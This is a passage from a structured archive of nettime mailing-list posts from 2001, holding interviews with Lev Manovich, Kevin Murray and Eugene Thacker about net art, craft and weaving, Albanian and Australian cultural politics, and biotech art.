algorithmic composition, sampling and mixing\nas a new form of creativity, and online distribution of culture (MP3s on\nthe internet).\n\nAs far as new media art is concerned, I am very impressed by Lisa\nJevbratt's software which currently forms the basis of the online\nexhibition Mapping the Web Infome\n(http://www.newlangtonarts.org/netart/infome). Lisa invited a number of\npeople (including me) to use her software to create their own Net Crawlers\nand to visualised the data they collect. In her words, \"Just as the Human\nGenome Project strives to map the mysteries of the body's DNA, Mapping the\nWeb Infome develops ways of representing the master plan behind the codes\nthat created the Web. The newly commissioned net art project deploys\nsoftware robots as cartographers of the continually changing internet and\nthe resulting images chart the hidden relationships that lie beneath the\nscreen's surface.\"\n\nDP: Is net art dead?\n\nLM: If we understand net art as an artistic and cultural practice which\nfocused on a modernist analysis of an early period of the web (1994-1998),\nit is dead. As an institutional label for new media art as a whole, it is\nvery much alive and gaining more and more recognition. What I don't like\nis that museums, art galleries, media and other cultural institution often\nuse the term 'net art' as a stand in for 'new media art' (or 'digital\narts') as a whole. As a result, the attention goes to net projects while\nmany other distinct digital practices such as interactive computer\ninstallation, electronic music, interactive cinema, and hypermedia are\nignored. In short, a particular practice is used as a stand in for the\nfield as a whole. It happens in part not only because net art is the\ncheapest practice for museums to exhibit but also because we still do not\nhave any real alternative to an aesthetic theory based around the idea of\nmediums. So now along with painting, sculpture, art on paper, film, and\nvideo we now have 'net art', ie art which uses the medium of a network.\n\nLev Manovich http://www.manovich.net will be speaking at College of Fine\nArts, UNSW, Sydney, November 23, contact Ivan Dougherty Gallery, tel 02\n9385 0726; and (dis)LOCATIONs conference, Cinemedia's Treasury Theatre,\nMelbourne, November 30 & December 1.\n\n\n\n\n\n \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 18 Oct 2001 10:40:00 +1000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200110180543.BAA13822 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0110/msg00100.html",
                "list": "nettime_l",
                "author_name": "Daniel Palmer",
                "subject": "<nettime> Interview with Lev Manovich"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00012",
                "content": "\nInterview with Kevin Murray\nBy Geert Lovink\n\nKevin Murray, writer and curator in Melbourne, Australia, is a refined and\nknowledgeable person. I hesitate to say exotic because it is such an\noutdated term. Let's say he is singular. A sophisticated intellectual with a\npreference for the alien point of view. The variety of his interests are no\ndoubt unique. He is an Albania expert, if I may say so, and familiar with\nEast European cultures. He works as a part-time artistic director at Craft\nVictoria, a regional crafts organization, rather unusual for a new media\ncurator. Kevin has a significant online presence, currently as the online\neditor of Art Monthly. On top of that he has also been on boards, organized\nconferences, has an impressive list of publications, and is very much\ninvolved in Melbourne's cultural life. Always in  a critical manner, as the\nfollowing e-mail interview shows.\n\nGL: Coming from a visit to New Zealand you are in South Africa at the\nmoment. What are your activities there?\n\nKM: I am mostly trying to find out how black and white interests engage with\neach other in the 'new south'. The New Zealand case seems paradigmatic of\nthe reciprocal relationship that might exist between two races in the\npost-reconciliation era that beckons. Thanks partly to historical\ncircumstance and the Maori spirit of friendship, it is possible for the\nEuropean descendents in New Zealand to call themselves indigenous in a way\nthat is less fraught than in other ex-British colonies of the south. This\nidentity has a nominal and concrete expression. On an official level, the\nMaori word 'Pakeha' is used to denote those of European stock who inhabit\nthe land. Culturally, the 'Stone, bone and shell' school of New Zealand\njewelry has carved (literally) a distinctive tradition out of European metal\nsmithing, Maori motifs and indigenous materials, such as pounamu (South\nIsland jade). How does this compare to the paths traveled by Balanda\n(non-indigenous Australians) and Umlungu (non-black South Africans)?\nAustralia, New Zealand and South Africa have well established sporting\nlinks, mainly through rugby and cricket.\nI am interested to explore the kinds of cultural links that might accompany\nthese exchanges (www.craftvic.asn.au/south). It is possible to claim that\nthe end of apartheid has led to a reduction of cultural ties with South\nAfrica. We knew how to support the struggle of a repressed\npeople, but we don't really have a grasp on how to relate to the 'new South\nAfrica', other than fear and trepidation. Australia is home to a large\nexpatriate South African and New Zealand population. Rather than becoming a\nClub Med nation for white businessmen, we need to keep open links to their\norigins. All this is given urgency by the slide of southern currencies. The\nfinancial failure of the Melbourne Biennial is testament to the increasing\ncosts in staging events within a northern framework. I've heard talk since\nin South Africa of south-south connections, such as trade links with Brazil.\nIt would be good to try a few of these in the cultural circuit, rather than\npresuming a radial framework where everything must go through the centers.\n\nGL: You have a special relationship to Melbourne trams.\n\nKM: Trams rescue Melbourne from being just another large Western city. Their\npractical utility as public transport is sublime. But privatization has made\nMelbourne's tram system as a site of struggle, with an enduring alliance of\nex-conductors agitating against the evils of a world operating on remote\ncontrol. Trams provide the props to fantasize that a city like Melbourne\nactually has a soul. One of the wonders of the new South Africa is the\nemergence of the mini-bus network that covers the nation with frequent\nservice, cheap fares and daredevil feats of driving. In Cape Town,\nmini-buses with names like 'Poor Man's Friend' and 'Who Let the Dogs Out'\nprovide instant contact with people and friendly advice. The jockeys who\nhang out the door collecting fares and shouting destinations seem a\nreincarnation of Melbourne's lost tram conductors.\n\nGL: One of your projects dealt with the question of coincidence in history.\nWhat would have happened if Australia would have become a Portuguese colony?\nOr Dutch? What fascinates you in playing with alternative scenarios?\n\nKM: The 'what if' histories help place reality in a meaningful context. The\nPortuguese colonization of Australia is a particularly apposite speculation\ngiven the situation in East Timor. Since the First Fleet, the relaxed morals\nof the Portuguese colony in Rio have provided a contrast to the god-fearing\npath of British colonists. Now in East Timor, the new Australian colonists\ncome up against the Portuguese. The Portuguese supported the struggle for\nindependence on the world stage and have a natural sympathy with the people.\nHowever, they left virtually no infrastructure in the country despite\ncenturies of colonization. What if Australia was Portuguese? It may have\nbeen a mess, but it would have been an exciting one. I've been interested in\nthe power of fictions for a long time. My PhD was titled 'Life as Fiction'\nand the project How Say You (www.kitezh.com/howsayyou) explored the creative\npotential of pseudonyms. The logic is that our experience of reality is\nalways framed by an understanding of how it might have been otherwise and\nhow it could be different. Changing the horizon of possibilities is one way\nof altering our reality. Plant a utopia and see what fruit is bears.\n\nGL: You have recently done a show about digital weaving. It was focussed on\npossible similarities between craftsmanship working with textile and the\n\"weaving\" of websites. The analogy between writing code, linking documents\nand the computer as a loom is a whole history in itself. What is your\nstrategy here? Is it your purpose to unveil broader cultural patterns,\nthereby tempering the expectations of the New which still surrounds the\ncomputer?\n\nKM: While outmoded technologically and conceptually, the crafts have an\nactive role to play in contemporary arguments. It is not just a matter of\nadvancing crafts into the digital age, but of keeping our feet on the ground\nas the kite flies higher and higher. Crafts offer an uncanny 'shock of the\nold' to counter the saturation 'schlock of the new'. Similarly, tribal\nsystems such as Albania's challenge the increasingly abstract cultures of\nthe west.\nNow to weaving, I'm not so much interested in the similarities between\nmaking tapestries and building the Internet. Weaving is 'women's business\n'-immediate, tactile, communal and expressive. The Internet is 'men's\nbusiness'-diffuse, abstract, individual and utilitarian. The weaving\nmetaphor is a bridge that enables travel between the two worlds. The results\nare live discussions where men and women explain each other's practice. In\nAdelaide (www.craftvic.asn.au/loom), we included a string theorist into the\nconversation, which is even more abstract than the Internet. What emerges is\nnot a common understanding, but a live encounter-maybe a dialectic, but\nwithout the synthesis (further, you could say male and female is the warp\nand weft, crossing but never joining, but that shows how entangling the\nweaving metaphor can become).\n\nGL: New media arts in Australia has turned out to become a very specific,\nnot to say narrow discourse. You also work in other arts fields and curate\nshows in the \"contemporary arts\" sector. Could you give us an ethnographic\nview on how this particular set of ideas and arts practice has come into\nbeing? Where does, for example, the fascination with hardcore science and\nbiotech in particular come from?\n\nKM:  Where I live, the public face of new media was constructed at the end\nof the 20th century by a specific state government agenda to catch the next\nwave of economic growth (Alan Stockdale was both state treasurer and\ninaugural minister for multimedia). While previous state governments\nsponsored arts that counterbalanced the mainstream, the Jeff Kennett agenda\nwas to support whatever could be labeled as 'contemporary'. Celebration of\nthe techno-simulacrum became government policy. This peaked with the\nelection campaign based on jeff.com.au site, which included a GrandPrix\nshockwave for potential young male voters to take a spin (it still exists as\nwww.jeff.com.au, but has been made-over to the new crew).\nWhat I've tried to do over the years is bring new media into the same\ncritical discussions that include other visual arts. In Binary Code\n(www.kitezh.com/bc) we tried to get art critics and new media persons\ntalking to each other. The result was mutual indifference. In two CD-ROM\nshows, Bug (www.kitezh.com/bug) and Chip (www.kitezh.com/chip) we tried to\nfind a non-technological thematic-insects and psychoanalysis-for the small\nscreen. The fear is that new media succeeds as a form of technological\nevolution, but fails as a medium for expressing anything of the world\noutside itself. These shows heralded works that succeed in conveying\nsomething beyond the medium, but I'm still worried.\nMore broadly, I'm interested in shifting the art-craft debate into the newly\nwired contemporary gallery. Video and photography have displaced painting\nfrom the contemporary art space. Painting now shares more in common with\nceramics and weaving than it does with screen art. Whereas before, the\ncritical difference was between 2D and 3D, today it seems whether the work\nis inside or outside the screen. Getting the screen to relate to the outside\nworld can be an inspiring challenge. One of the thrills of the Museum of\nSydney design was the way it combined ethereal Pepper's ghost effects of\nvideo floating on glass with the hard-core physical substance of chains and\nmilestones. Rather than an escape from the wet world, digitization seems a\nuseful detour on the road back to the world of flesh. As photography\nmigrates to the screen, the darkroom finds a new meaning\n(www.craftvic.asn.au/darkroom). As the world becomes more densely wired, the\nrealm of offline becomes more significant (www.kitezh.com/offline).\n\nGL: You are working part-time at Craft Victoria Gallery where you did a show\ncalled \"Instrumental\". The centre mainly focuses on such things as glass,\nwood, building violins, jewelry and textile. How does the computer fit into\nthis world? Could computers been seen as instruments? They are usually\nportrayed as tools, isn't it?\n\nKM: I find the contrast between 'bench' and the 'screen' particularly\nuseful. The bench is a horizontal surface, on which objects can be handled\nand worked. Put objects on a screen and they fall off! This stupid\ndifference actually bears further thought. The floating world behind the\nscreen provides a perspective for understanding the mysteries of the\nbench-making a smooth edge, finding the grain of the wood, throwing a pot,\nturning a tree into a violin. Things fall into place using the gravity of\nthe bench.\nThe ur-text of new media, 'Myst', christened the computer with the sacred\nstatus of tool for the mechanical world. Players operated their computers\nlike mechanics, fixing the broken contraptions of a fallen world. But this\nis largely a fantasy of computing, which connects it with the familiar\nmaterial world. I disagree when people say about their computer, 'it's just\na tool'. It seems a miserable cap on the imagination to reduce the screen to\na mere practical device. It's a machine for navigating a path through the\nocean of information. It has the promise of evolving new collective forms of\nunderstanding that are beyond the scale of the bench.\n\nGL:  In 2000 you curated the \"Loom\" show in Adelaide. Its website states: \"'\nThe analytical engine weaves algebraic patterns as the Jacquard loom weaves\nflowers and leaves' wrote Lady Ada Lovelace describing Charles Babbage's\nfirst mathematical calculator. As with many other creative arts, our\ntraditional image of weaving is being challenged by the evolution of ever\nmore complex forms of machinery. The image of a patient weaver at the loom\nseems to be increasingly rare, even nostalgic.\" You noticed that much of\ntoday's weaving occurs at the computer screen. How do you see the\nrelationship between textile weaving and the digital world wide web? Is\nthere any interaction between these two worlds or is it just an analogy?\n\nKM: What's to be gained by reducing a computer to a loom? It grants the\nvirtual world a material lineage; it introduces a gender politics of labour;\nand it provides an aesthetic license. Maybe more. The loom metaphor can be a\nvery productive, but it has a limit. As an interlacing device, the loom is a\ncomprehensive mechanism where shuttles create a weft that encompasses the\nhorizontal structure of the warp. The Internet is clearly more rhizomic in\nnature, with branches bifurcating endlessly. From the other end, textile\narts are migrating to the screen. There's a Jacquard loom at the Montreal\nCentre for Contemporary Textiles that enables weavers to 'print' a scanned\nimage into tapestry form. It's not quite as simple as that, though. Weavers\nstill need to manually translate screen colors into thread structures. This\n'flaw' offers a window for artistic expression. It will be interesting to\nsee how long that stays open. Louise Lemieux B\u00e9rub\u00e9 has some stunning\ntapestries of dance photography (http://www.lemieuxberube.com)-there's a\ncontrast between the instant of the camera and the measured time of the\ntapestry.\n\nGL: The Loom show focussed on possible similarities between craftsmanship\nworking with textile and the \"weaving\" of websites. The analogy between\nwriting code, linking documents and the computer as a loom is a whole\nhistory in itself. What is your strategy here? Is it your purpose to unveil\nbroader cultural patterns, thereby tempering the expectations of the New\nwhich still surrounds the computer? The website says: \"As with many other\ncreative arts, our traditional image of weaving is being challenged by the\nevolution of ever more complex forms of machinery. The image of a patient\nweaver at the loom seems to be increasingly rare, even nostalgic.\" You\nnotice that much of today's weaving occurs at the computer screen. How do\nyou see the relationship between textile weaving and the digital world wide\nweb? Is there any interaction between these two world or is it just an\nanalogy?\n\nKM: I'm not so much interested in the similarities between weaving\ntapestries and building the Internet. Weaving is 'women's business' -- it's\nimmediate, tactile, communal and expressive. The Internet is 'men's\nbusiness' -- it's diffuse, abstract, individual and utilitarian. The weaving\nmetaphor is a bridge that enables travel between the two worlds. The results\nare live discussions where men and women explain each other's practice. In\nAdelaide (www.craftvic.asn.au/loom), we included a string theorist into the\nconversation, which is even more abstract than the Internet. What emerges is\nnot a common understanding, but a juxtaposition -- perhaps maybe a\ndialectic, but without the synthesis. You could say male and female is the\nwarp and weft, crossing but never joining, but that shows how tangled the\nweaving metaphor can become.\n\nGL: Could you tell us something about your involvement with Albania? It is\nperhaps not the most obvious topic of interest for a Melbourne art curator.\nHow do you keep informed about the ins and out of the Tirana scene? How\nwould you describe contemporary Albanian cultural politics, ten years after\nthe fall of communism and the opening of the country?\n\nKM: The world has become so homogenized now, the best way to experience\nsomething foreign is to stay at home. Getting to know Melbourne's Albanians\ninitially led me to enjoy all the exotic features of a foreign\nculture --haunting music, strange language, difficult food and conversations\nabout the fundamental things in life\n(http://home.mira.net/~kmurray/world/albmelb.htm). But then, I began to\nrealize how similar they were to Australians -- more Australian than\nAustralians, you could say. They had a trust in higher authority that\nAustralians share -- Albanians seem just a little more expressive about it.\nThere is a very good Albanian artist in Melbourne, Arsim Memishi\n(www.kitezh.com/soil/exhibit/ttszam.html). Being an artist is quite foreign\nto their sensibility, so Arsim's projects most of his creativity into\nbuilding kitchen cabinets in a business with his brother -- making houses in\nMelbourne's poorer western suburbs.\nAfter the end of communism, artists literally came out of their closets\n(painting has been forbidden without official license). Expressionism burst\nforth in quite unadulterated forms, like bits of paint rags stuck to canvas.\nThe wholesale dismissal of social realism and folk culture seemed another\nsad fracture in Albanian culture.\nIn the west, we are getting very little news about Albania. This silence\nsuggests that great advances are being made in that country. News from other\nsources confirms this and some Melbourne Albanians are returning from Tirana\nwith ecstatic accounts of the motherland. This enthusiasm is tempered by the\nsituation in Macedonia, where most Melbourne Albanians originate. Their\ninherent fatalism has been renewed as the political situation unravels.\n\nGL: Is Albania a mirror for you? How does it relate to the state of\nAustralian multi-culturalism? Ghassam Hage has analyzed it in his book White\nNation. He came up with a radical critique, relating the state ideology of\nmulti-culturalism with the rise of Pauline Hanson's One Nation party. Human\nrights organizations are criticizing the harsh conditions in Australia's\ndetention centers, which are hidden in the middle of the deserts, far away\nfrom the urban centers. Immigrating to Australia has become next to\nimpossible, in sharp contrast to the common perception overseas. It's only\nallowed if you belong to the rich and bring in enough resources, like the\nwhites from Zimbabwe and South Africa. And particular bad if you're from\nMiddle East or let's say Kosovo. Is this situation reflected in the arts?\n\nKM: Albania is a piece of Europe that has drifted into the orient. Much of\nits history has been in the thrall of the east: five centuries of Ottoman\nrule and five decades of Maoist-style totalitarianism. This has been\npunctuated by brief periods of 'enlightenment'-the Albanian renaissance of\nthe late nineteenth-century and the experiment with democracy in the early\n1990s. The dream is that Albanian might transcend the grip of the east and\nenter the world of freedom in the west.\nFor Australia, the situation is exactly the reverse. For most of its\ncolonial history it has been beholden to the values of the western world, as\nevident in the White Australia Policy that underpinned its birth as a\nnation. Of late, its cultural struggle has been to embrace the world of its\nneighbors, to be part of Asia.  Both Albania and Australia seem to be\npushing against the grain of their own cultures in order to be part of their\nimmediate world. Albania resists the pull of the east that Australia gropes\nfor. Australia seeks to wrest itself from the west that Albania aspires to.\nPerhaps they should just do a swap.\nDespite this symmetry, there is a significant difference in the kind of\nisolation each country experiences. Albania is isolated from the rest of the\nworld by three mountain ranges: the Pindus, the Dar and the Dinaric. The\ngeographical isolation has bred a culture that seems out of step with the\nrest of the world-a world of honor, revenge, pantheism and national pride.\nIsolation is also a plight that Australians have complained of, as in the\nlegendary phrase 'the tyranny of distance'. Of course, this is a chimera.\nAustralia is far from isolated from its immediate neighbors, such as\nIndonesia, New Zealand, Malaysia and Borneo. The colonial mentality bemoaned\nthe distance from the Western centers. Since the Russian threat in the late\nnineteenth century, there has been a fear that Australia would be cut off\nfrom its mother country and left to fend for itself in the region. Thus the\nfraught hospitality offered to people seeking shelter on its shores. Asylum\nseekers are kept in prison-like conditions in the least hospitable parts of\nthe Australian continent. Kosovars were given only tentative hospitality\nbefore being shipped back to their shattered homes. If only Australia were\nas isolated as Albania.\nWhile mainstream culture is hooked into the West, Australian artists\ncontinue to develop links with Asian cultures. This has become a\nwell-trodden route for artists seeking to incorporate oriental themes into\ntheir work. The result has been some quite evocative and deeply personal\nwork. The plight of our 'exotics' imprisoned at home needs to find a voice\nas well. The media sensationalises their presence, while artists seem best\nplaced to take the human measure of their condition.\n\nKevin Murray's writings plus his CV can be found  in his extensive web\narchive: http://home.mira.net/~kmurray\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 4 Jul 2001 21:31:14 +1000",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200107041637.MAA23055 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0107/msg00012.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Kevin Murray"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00175",
                "content": "\n\n  \"To not be satisfied with just the screenal net art.\"\n\nEugene Thacker is a writer, theorist and artist. I know his work mostly\nthrough his collaboration with the New York based net performance group\nFakeshop, but he has also done solo projects and is mostly a writer.\nEugene Thacker's work centers around bio tech, science fiction,\nexperimental literature, art and science. He just finished his Ph.D. in\ncultural and literary studies\nat Rutgers University. We talked at DEAF '00, The Dutch Electronic Art\nFestival organized by V2 last november.\n\n\nJB: Can you tell me about your background? Your work with Fakeshop made\nme wonder if you have a background in art at all?\n \nEugene Thacker: My background is not in art actually. My background is\nmore in critical theory, and literary theory. Basically I come from\nliterature. In college I was really involved in the experimental\nliterature community, zines and so on. When the web came around I got\ninto that and hypertext. Like a lot of people at some point it made\nsense not to just limit yourself to just text, but to try to work in\ndifferent media. I have always been interested in approaching things\nfrom a theoretical viewpoint, as well as exploring the same issues in,\nfor want of a better term, an artistic domain. Sometimes getting\ndifferent results, sometimes seeing what you can learn from doing those\nkind of activities.\n\nThe intersection with the sciences for me is much more recent. It arises\nout of a real, deep interest in the body and the relationship of the\nbody to different technologies. At some point I was doing a lot of work\nwith theorists like for instance George Battaille and science fiction\nwriters like Ballard or Blumlein, looking at how they were seeing the\nbody reconfigured by different technologies. How they were seeing\ndifferent kinds of anatomies, how they were imagining different kind of\nanatomical formations that were contextualized by desire and so on. At\nsome point I felt like I was dancing around the topic, not really\nconfronting it directly. Part of that was disciplinary.\n\nIn the US it is not yet widespread to simply jump around in these very\ndifferent disciplines. So I decided I should really open some anatomical\ntextbooks. What is going on with anatomy research now? Where is it? I\nfelt like for me it was a change to more directly deal with\nphilosophical and political issues of, say, the anatomical body by\nlooking at actual research that was going around, but looking at it\nthrough that theoretical lens. So Bataille was always there. I was\nlooking at things like the Visible Human Project - where they\nsliced up a body and archived it in a database - through that lens and\nin the process I was trying to understand the science as well. When I\nwas in college I was a biochemistry major, and I worked in a\npathobiology lab for a number of years too. This was before graduate\nschool. I was very interested in the science part of it, but also in the\nethical part of it. It is easy to look at things in hindsight to make\nsense. At the time I was really interested in the science fictional\naspect of it. You know a lot of science fiction is quite tacky, it\nreally gets into the nuts and bolts of the details. I think that was\nwhat was going on earlier on. I quickly found out working in a lab,\nwhere you're one of\ndozens of people working on this tiny minuscule issue, wasn't the kind\nof thing I wanted to do. Then I switched over to the humanities. So I\nhad this weird cycle going round. I started there and now I am\ngoing back to biochemistry and genetics, but through a very different\nviewpoint. That background has really helped me, so it was not so hard\nto look at genetics research itself, because I had some of the basics of\nwhat scientific knowledge was. To try to answer your question directly:\nI have always been trying to balance the humanities and the sciences in\nwhat I am doing.\n \nJB: And the arts as well?\n \nET: Yes, definitely, which to me is much closer to the theoretical work\nthen it is to the sciences. My artistic dealings with these topics have\nmostly been extrapolations of the theory that I was doing. I haven't yet\nreally explored direct collaborations with different scientists. I think\nthere are other groups that are doing that in an interesting way, but it\nis not what I am interested in right now, which is mostly writing in\ndifferent types of discourses that are going on.\n \nJB: Did you only do art work together with Fakeshop and how does your\nartwork relate to your writing?\n \nET: I mostly started working as an artist because of the web actually.\nLike I said, I was doing writing before. I really came to think of\nmyself as an 'artist' when I was working with the web and I was doing\nnot just text, but html, image, video, sound, exploring all these\ndifferent things.\n \nI have done a lot of different projects dealing with biotech. One was\nshown at Ars Electronica in 1999, a project about the Visible Human\nProject, about the notion of digital anatomy. This is a project by the\nNational Library of Medicine in the US, where researchers took the body\nof a convicted murderer, a convicted criminal, and they proceeded to\nslice him into a thousand or so pieces, in transverse corrections. Then\nthey encoded each of those slices into digital files and made a database\nout of it. It was going to be used for medical education, for research,\nto assist surgeons in virtual surgery and have all these medical\napplications. Of course it is this incredibly gothic moment, of this\ncorpse that was reanimated in the computer basically. It was a very\nfascinating field to look at in terms an objectification of the body by\nthe sciences. Anatomy is one of the oldest traditions of that approach\nto the body. Here is a contemporary instance of anatomical science which\nis coming from this long tradition in the West, and it is now engaging\nwith computer and Web tech. One of the most intriguing things about this\nis that this is a body that was archived into a database. This database,\nas a mode of categorizing the body, seemed really interesting to me. I\ngot a license to use those images in the database and started creating a\nkind of counter database of images. What you can do very simply is take\neach of those sections and line them up in animation cells and create an\nanimation. You can create these animations as if you were flying through\nthe body. Using morphing programs and also basic animation you can\ncreate completely unrecognizable anatomical animations. These are bodies\nthat 'slipped through the cracks' of anatomical categorizing. The\ntheoretical jumping point was again Bataille's notion of the formless, a\nterm that confronts ambiguity through structure, but 'undoes' it in the\nprocess. It is trying to locate this slippage, this moment of\nunrecognisability. I did that using digital anatomy and virtual surgery,\nas well as using 3D modeling. It was a piece about databasing the body.\n \nJB: Has your writing been connected to your artwork mostly or have you\nalso done independent articles?\n \nET: Yes. Most of it recently has concentrated on biotech. But I have\nwritten a lot about new media and also science fiction. Right now I am\ntrying to work on the relationship between science fiction and science.\nTrying to find more provocative ways of talking about that. I wrote an\narticle in Art Journal that was about new media artists that are\nengaging with the technosciences. They are trying to find complex ways\nof bringing up some of the issues that are of controversy in them, such\nas Biotech Hobbyist, or Critical Art Ensemble,  or Mongrel. Each are\napproaching different issues, using different strategies, different\ntechnologies and each group are coming up with different responses. The\nthread that I used to contextualise that was science fiction in art\npractice, using that as a critical tool.\n \nJB: When you are exploring this issues in the net or in the web, you are\nexploring them in the anatomy of a body that is also still being\ndeveloped, which is also being criticized. How do you relate your\ninvestigation into these sciences to this highly unstable environment\nyou are presenting a lot of your work in?\n \nET: What you just pointed out is one area for new media art to work in.\nTo work with the instability of the medium, the certain points where it\nresists an instrumental codification. To intersect that instability with\nsome of the bioscience research, I think there has yet to be an\ninteresting project that deals with bioinformatics, which has to create\nvery articulate databases, which have to be updated, and that can be\nhighly flexible. This is all based on having a stable medium. This is an\nonline genetic body. I think there is a wonderful opportunity for\nsomebody to do a really great new media net art piece and work with\nthose instabilities. What happens when you get scrambled code? What\nhappens when you get noise online with these genetic bodies? What\nhappens when your connection drops? You can imagine all kinds of very\nunstable instances that are not just oppositional, but they are raising\nproblems that are part of the medium, the technology.\n \nJB: Is that the line you would also like to pursue? Which direction\n would you like your work to go most of all?\n \nET: In terms of the new medium, the artwork, what I am pursuing now is\nthis relationship to science fiction. That is why I am working with\nFakeshop. For us a point of departure for a lot of the pieces are\nscience fiction films. They tend to be particular films from the late\nsixties to the late seventies. What they do is they create these\nimmersive spaces, these spatially oriented bodies or networked\nsituated, modeled, posed bodies that are contextualised in many\ndifferent ways. What is attractive to me about this is that science\nfiction on the one hand can form the function of critique. It can take\nsome of the scientific knowledge out there and speculate on that, put it\nin an imaginative context. To bring up certain social and political\nissues. That is part of it. The other reason is that science fiction can\ncreate these affective spaces. If you have ever seen an installation\nthat is immersive and you walked in, that can be a very powerful\nexperiential moment. When we are doing a specific piece, like Multiple\nDwelling which was about the film Coma and biomedicine, we get very\ninteresting responses. That is not exclusive to science fiction of\ncourse, but it has the same affective resonance that I identify with\nwriters like JG Ballard, who is very much about creating haunting\ntechnological spaces.\n \nJB: A technical question about the Fakeshop performances: what is your\nexperience with a possible difference between an online and a real life\naudience?\n \nET: The response of an audience member's body to the space they are\nexperiencing the piece is of course very different from an online\nviewer. To generalize, what usually happens is that the people that\nphysically present in an installation space experience that affective\nimmersion, that \"what have I walked into\" type of feeling. For obvious\nreasons that is not present when you are an online participant. What the\nonline participants experience is...I don't want to call it\ntelepresence, that has too much baggage, but they experience a certain\nreal-time connectivity. Especially if you can create a participatory\nstructure (where you are not just watching a RealVideo stream) and\ncreate a certain participatory network that is very different from the\nway you are implicated in an installation space. A good example again is\nthe Multiple Dwelling piece. The physical installation has bodies and\nperformers in there. Then we create a virtual space. The connection\nbetween them is the body of the performers. In this futuristic hospital\nthose bodies get digitally encoded and mapped in VRML space. That is the\nWeb component. At the same time you have an online networked 'community'\nbeing created say through CU-SeeMe and participants can re-transmit\nback, if they feel like it, their own bodies. These can then be\nre-assembled in the installation space. On the desktop, on the screen.\nThese participants are also chatting. The chat texts always take on\nthese organic, weird, evolutionary, strange results. It is the\nnetworking of the virtual and real spaces and the different experiences\nthat each of those people have that to me is exiting. It is exiting\nbecause you are insisting that net art is not just screenal. You are\nrubbing it up bodily materiality, you are making it confront that. It\nmight fail miserably, or something interesting might happen, but it is\nreally important to do. To not be satisfied with just the screenal net\nart.\n \nJB: What could be a strategy to deal with institutions that very often\ndo not wish to confront the physicality of net art?\n \nET: I have been really frustrated by it, for several reasons. I can only\ntalk about my experiences in the States which is very different then in\nEurope I think. In the US it is difficult to find institutions, even\nindividuals, willing to take an open ended, risky maybe, but essentially\ncreative view to approaching this kind of art. I am not a curator, but I\nrecognize you have to deal with these issues: how do you buy this\nart, how do you collect it, how do you exhibit it, how do we fit it\ninto the tradition of art museums that our culture has? People like\nSteve Dietz are addressing these issues in the U.S., but it is tough to\nfind an arresting way to present this work that can have impact. Yes, I\nthink that creating a kiosk or having dedicated computers is great, but\npeople always say \"I can look at this at home\". Why go to this reified\nspace and look at the artwork there? I think maybe one area to look at\nis institutional support of this art. Don't commission net.art pieces,\ncommission net.art projects that are multi-platform, that can exist in\ndifferent contexts. Why not commission projects where you are going to\nask somebody to do a work where one part is going to be an installation?\nIt might mutate and become just online, it could become another\ncomponent. We should develop some kind of modular way of thinking of\nhow, if an institution is going to fund work, how that is going to be\ndone. Maybe it should be more creatively thought out to accommodate\nthese different contexts that we have. It is about challenging,\nimpelling the artists to work in a multi contextual ways.\n \nJB:  It is not so much challenging the artists to work in a different\nway I think, but impelling curators and the audience to look at this\nwork in a different way. To show that the internet is not about a\nbodiless cyberspace...\n \nET: You're right. I experience this a lot in teaching. I always try to\ndo a section on hypertext, for instance. For the majority of students\nthis is totally new. They go through this experience saying \"I had no\nidea there was stuff out there like this. I go to my MP3 site, or use it\nfor online shopping!\" A very important step therefore is\nre-contextualising the medium. It has become a clich\u00e9 now that it is\ndominated still by e-commerce and online shopping. What I was talking\nabout is maybe go a step further then that and challenging net art again\nto keep working with infotech with the Web, but to also be dissatisfied\nwith that to some extent. To try to explore different, mutated, adaptive\nways of making artwork that is flexible to different contexts. I agree\nwith you that I have more confidence in artists to do that then in\npeople that are running institutions that have to deal with their own\npolitics and histories.\n \nJB: I don't really agree on this last remark either though. By giving\ninstitutions some kind of eye-opener you can show them it actually is\nmore interesting for them too to look at this work in a different way.\n \nET: I think we do agree. Part of the impetus is in changing the modes of\nthinking. Fundamentally what is the issue is challenging people's modes\nof thinking about certain technologies, which develop out of certain\nhistorical moments. This is a specific instance in that, and that is\nvaluable to have. I don't mean to totally critique screenal-based\nnet.art. I just think it is a challenge for net.artists to take this\ndifferent perspective. In doing that you are taking into account your\naudience, which is always in different contexts physically speaking.\nWhere are they going to see it, how do they get their information?\nRhizome and other web sites are out there, and they are not hard to\nfind, but how do people get the information about it in the first place?\nHow do they become implicated in networks where they can find out about\nthis stuff? Then how can they have a transformative experience and go\nback to their computer to look at whole experience differently or think\nreflectively about it. It is the habituation process: it is a black box,\nyou check your email, it goes wrong, you go crazy or whatever...\n\nJB: Going back to the first part of the interview. In the panel you said\nthere was no communication between the sciences and critical, cultural\ntheory. Don't you risk with making art that you are not being taken\nseriously at all in both these fields when you criticize bio tech?\n\nET: I think there is always a threat of recuperation going on no matter\nwhat. What is at issue is the discourse is, who has the authority, the\nlegitimization to speak on a certain subject? I definitely feel the\nchallenges involved in that, because I am not a genetics researcher and\nformally speaking I don't have that background. It is a real challenge\nfor people in the US in the sciences to think about this issue of\nwho can speak on a topic, who can ask questions about it, and based on\nthat, how will that be received? The experience we were talking about in\nNew York with the Gene Media Forum [an exhibit of artists dealing with\ngenetics presented by Exit Art, and funded by the Gene Media Forum, in\nthe Spring of 2000] was a good illustration of that. I think it is great\nthey had this exhibition of artists dealing with the net, and it is\ngreat to have this panel of CEO's from biotech corporations. But I\ndidn't really see a lot of communication going on 